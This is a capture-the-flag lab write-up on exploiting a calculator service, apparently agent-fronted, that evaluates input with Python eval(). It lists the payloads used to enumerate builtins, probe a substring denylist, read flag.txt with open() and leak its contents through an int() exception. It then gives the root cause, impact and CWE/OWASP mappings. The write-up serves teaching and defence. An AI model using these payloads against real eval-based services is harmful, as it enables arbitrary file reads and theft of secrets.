Bad Robot
| Field | Detail |
|---|---|
| Track | Advanced |
| Classification | Code injection through unsafe evaluation |
1. Result
Section titled “1. Result”Flag obtained: flag-8d658f
The level was successfully compromised by abusing the application’s Python expression evaluator to read flag.txt.
The initial tests established that user-controlled input was being evaluated by the Python interpreter rather than being parsed as a restricted mathematical expression. The application exposed Python builtins, including open(), while attempting to restrict dangerous functionality using a substring denylist.
The flag could not be returned directly because the application rejected the resulting bytes object. However, Python’s exception handling provided an alternative output channel. Passing the file contents to int() caused Python to include the contents inside the resulting exception message.
Evidence
Section titled “Evidence”Interpreter behavior:

Denylist behavior:

Flag recovered from exception:

Completed level on the mothership dashboard:

2. Exploit
Section titled “2. Exploit”The application presents itself as a mathematical calculation service. Testing demonstrated that submitted expressions are evaluated by Python, most likely through eval().
The exploitation process consisted of four stages:
-
Confirm that the backend evaluates Python expressions.
-
Determine which Python builtins are available.
-
Identify the limitations of the substring denylist.
-
Use
open()to readflag.txtand leak the contents through an exception.
All prompts and corresponding application responses are documented below.
2.1 Confirm Python interpreter behavior
Section titled “2.1 Confirm Python interpreter behavior”The first test used a simple division-by-zero expression.
Prompt:
1/0Agent response:
Result: Error: division by zeroThe expression could not be evaluated.This established that the service was exposing Python-style evaluation errors.
A second test used an operation that is invalid in normal mathematical evaluation but valid Python syntax.
Prompt:
1 + 'a'Agent response:
Result: Error: unsupported operand type(s) for +: 'int' and 'str'The expression could not be evaluated.The Python-specific TypeError confirmed that the submitted expression was being processed by the Python interpreter.
Conclusion: The target was not using a dedicated mathematical expression parser. User input was reaching a Python evaluation context.
2.2 Enumerate available builtins
Section titled “2.2 Enumerate available builtins”The next step was to determine whether Python builtins were available.
Prompt:
len(dir(__builtins__))Agent response:
Result: 159The presence of a large builtin namespace indicated that the evaluation environment was not operating with a minimal arithmetic-only namespace.
The availability of open() was then tested directly.
Prompt:
'open' in dir(__builtins__)Agent response:
Result: TrueThis confirmed that the file-reading primitive was available inside the expression evaluation environment.
2.3 Characterize the denylist
Section titled “2.3 Characterize the denylist”The next test attempted to access Python’s import mechanism.
Prompt:
__import__('os') != NoneAgent response:
❌ Expression contains prohibited valuesThe same behavior could be reproduced by testing the string os.
Prompt:
'os' in dir(__builtins__)Agent response:
❌ Expression contains prohibited valuesThis demonstrated that the application was inspecting the submitted expression for prohibited substrings before evaluation.
The denylist blocked strings such as os and __import__, but open() remained available.
Conclusion: The application was relying on a source-level substring denylist rather than a genuine execution sandbox .
2.4 Read the flag file
Section titled “2.4 Read the flag file”Since open() was available, the next step was to attempt a direct read of the flag file.
Prompt:
open('flag.txt', 'rb').read()Agent response:
Result: Error: Output format not supported.This response was significant because the application did not report a missing file or permission failure. Instead, it rejected the returned object.
The expression therefore appeared to have successfully produced a bytes object, but the application’s output formatter did not support displaying that object.
A different output channel was required.
2.5 Exfiltrate the file contents through an exception
Section titled “2.5 Exfiltrate the file contents through an exception”Python exceptions can contain values involved in a failed operation. The file contents were therefore passed to int().
Prompt:
int(open('flag.txt', 'rb').read())Agent response:
Result: Error: invalid literal for int() with base 10: b'flag-8d658f'The expression could not be evaluated.The exception message contained the complete contents of the file.
The flag was therefore recovered:
flag-8d658f
- Successful completion.

3. Root Cause
Section titled “3. Root Cause”The primary vulnerability is the execution of attacker-controlled input inside a Python interpreter.
The service is intended to perform mathematical calculations. However, rather than parsing user input with a restricted mathematical grammar or a safe expression evaluator, it passes the supplied input into a general-purpose Python evaluation mechanism. As a result, the input is not limited to arithmetic operations and can access Python functionality beyond the application’s intended scope.
3.1 Unsafe expression evaluation
Section titled “3.1 Unsafe expression evaluation”The application appears to evaluate user input using eval().
A mathematical expression such as:
1 + 2does not require access to Python’s general-purpose runtime.
However, the evaluation environment exposed:
__builtins__and consequently provided functionality such as:
open()This transformed a calculator feature into an interface capable of interacting with the underlying filesystem.
3.2 Inadequate security boundary
Section titled “3.2 Inadequate security boundary”The application attempted to prevent exploitation through a substring denylist.
The observed behavior showed that strings such as:
os__import__were rejected.
This is not an effective security boundary because it attempts to identify dangerous behavior by looking for particular strings.
A denylist cannot reliably restrict Python’s execution capabilities. Even if particular modules or functions are blocked, other available objects and language features may provide equivalent functionality.
More importantly, the presence of open() demonstrates that the evaluator already had capabilities that should never have been available to a mathematical expression.
3.3 Excessive builtin exposure
Section titled “3.3 Excessive builtin exposure”The evaluation context exposed a large Python builtin namespace.
The following test returned:
159for:
len(dir(__builtins__))The presence of open() was explicitly confirmed.
A calculator should not require filesystem access, imports, process interaction, or other general-purpose Python capabilities.
The application’s execution context therefore violated the principle of least privilege.
3.4 Unsafe exception handling
Section titled “3.4 Unsafe exception handling”The application rejected the direct bytes result:
Output format not supported.However, evaluation exceptions were returned to the user.
This created a second information disclosure channel.
The expression:
int(open('flag.txt', 'rb').read())caused Python to generate an exception containing the file contents. The application returned that exception to the user without sanitizing it.
Consequently, the application protected the intended output path while leaving the error path capable of disclosing the same sensitive information.
Root cause summary
Section titled “Root cause summary”The vulnerability exists because the application combines:
-
General-purpose Python evaluation.
-
Attacker-controlled expressions.
-
Access to Python builtins.
-
Filesystem access through
open(). -
A blacklist-based restriction mechanism.
-
Unsanitized evaluation errors returned to the user.
The denylist did not create a sandbox. It only removed a small number of strings from an otherwise privileged Python execution environment.
4. Impact and Severity
Section titled “4. Impact and Severity”Severity: Critical
An attacker able to submit expressions to the service can potentially access resources available to the Python process rather than being limited to mathematical calculations.
Confidentiality impact
Section titled “Confidentiality impact”The demonstrated exploit allowed arbitrary local file contents to be read.
The proof of concept successfully accessed:
flag.txtThe same primitive could potentially expose other files readable by the service account, including application source code, configuration files, credentials, tokens, secrets, and environment-specific data.
Integrity impact
Section titled “Integrity impact”If the evaluator exposes additional dangerous Python capabilities, an attacker could potentially manipulate files or other application resources accessible to the process.
Availability impact
Section titled “Availability impact”Arbitrary expression execution can also create resource-intensive operations, depending on the available Python runtime and process restrictions.
Potential code execution
Section titled “Potential code execution”The demonstrated attack directly proves arbitrary file read, not full operating-system command execution.
However, the underlying design is substantially more dangerous than a simple file disclosure because user input is being evaluated as Python code.
If the runtime exposes suitable Python objects, modules, or primitives, the same evaluation context may potentially be escalated from file access to broader code execution.
Therefore, the security boundary should be considered compromised at the interpreter level rather than treating this solely as a flag.txt disclosure.
5. Mapping
Section titled “5. Mapping”OWASP Top 10 for LLM Applications
Section titled “OWASP Top 10 for LLM Applications”| Category | Relevance |
|---|---|
| LLM06: Excessive Agency | The calculation capability has access to filesystem functionality that is unnecessary for its intended purpose. |
| LLM02: Sensitive Information Disclosure | Sensitive file contents were returned through an exception message. |
| LLM05: Improper Output Handling | Evaluation errors were returned to the user without adequate sanitization, creating an unintended data-exfiltration channel. |
| LLM07: System Prompt Leakage | Not directly applicable to the demonstrated exploit. |
| CWE | Classification | Relevance |
|---|---|---|
| CWE-94 | Improper Control of Generation of Code | Attacker-controlled input is interpreted as executable Python code. |
| CWE-95 | Improper Neutralization of Directives in Dynamically Evaluated Code | User input is passed into a dynamic evaluation mechanism. |
| CWE-209 | Generation of Error Message Containing Sensitive Information | Exception output disclosed the contents of flag.txt. |
| CWE-200 | Exposure of Sensitive Information to an Unauthorized Actor | File contents were disclosed to the attacker. |
| CWE-693 | Protection Mechanism Failure | The substring denylist failed to provide an effective security boundary. |
Primary classification
Section titled “Primary classification”Code Injection through unsafe dynamic evaluation
The fundamental security issue is not the specific payload used to retrieve the flag. The underlying problem is that a feature intended to perform mathematical calculations provides access to a general-purpose Python execution environment.
The substring denylist and output formatter only partially obscure that capability. They do not remove the underlying execution primitive.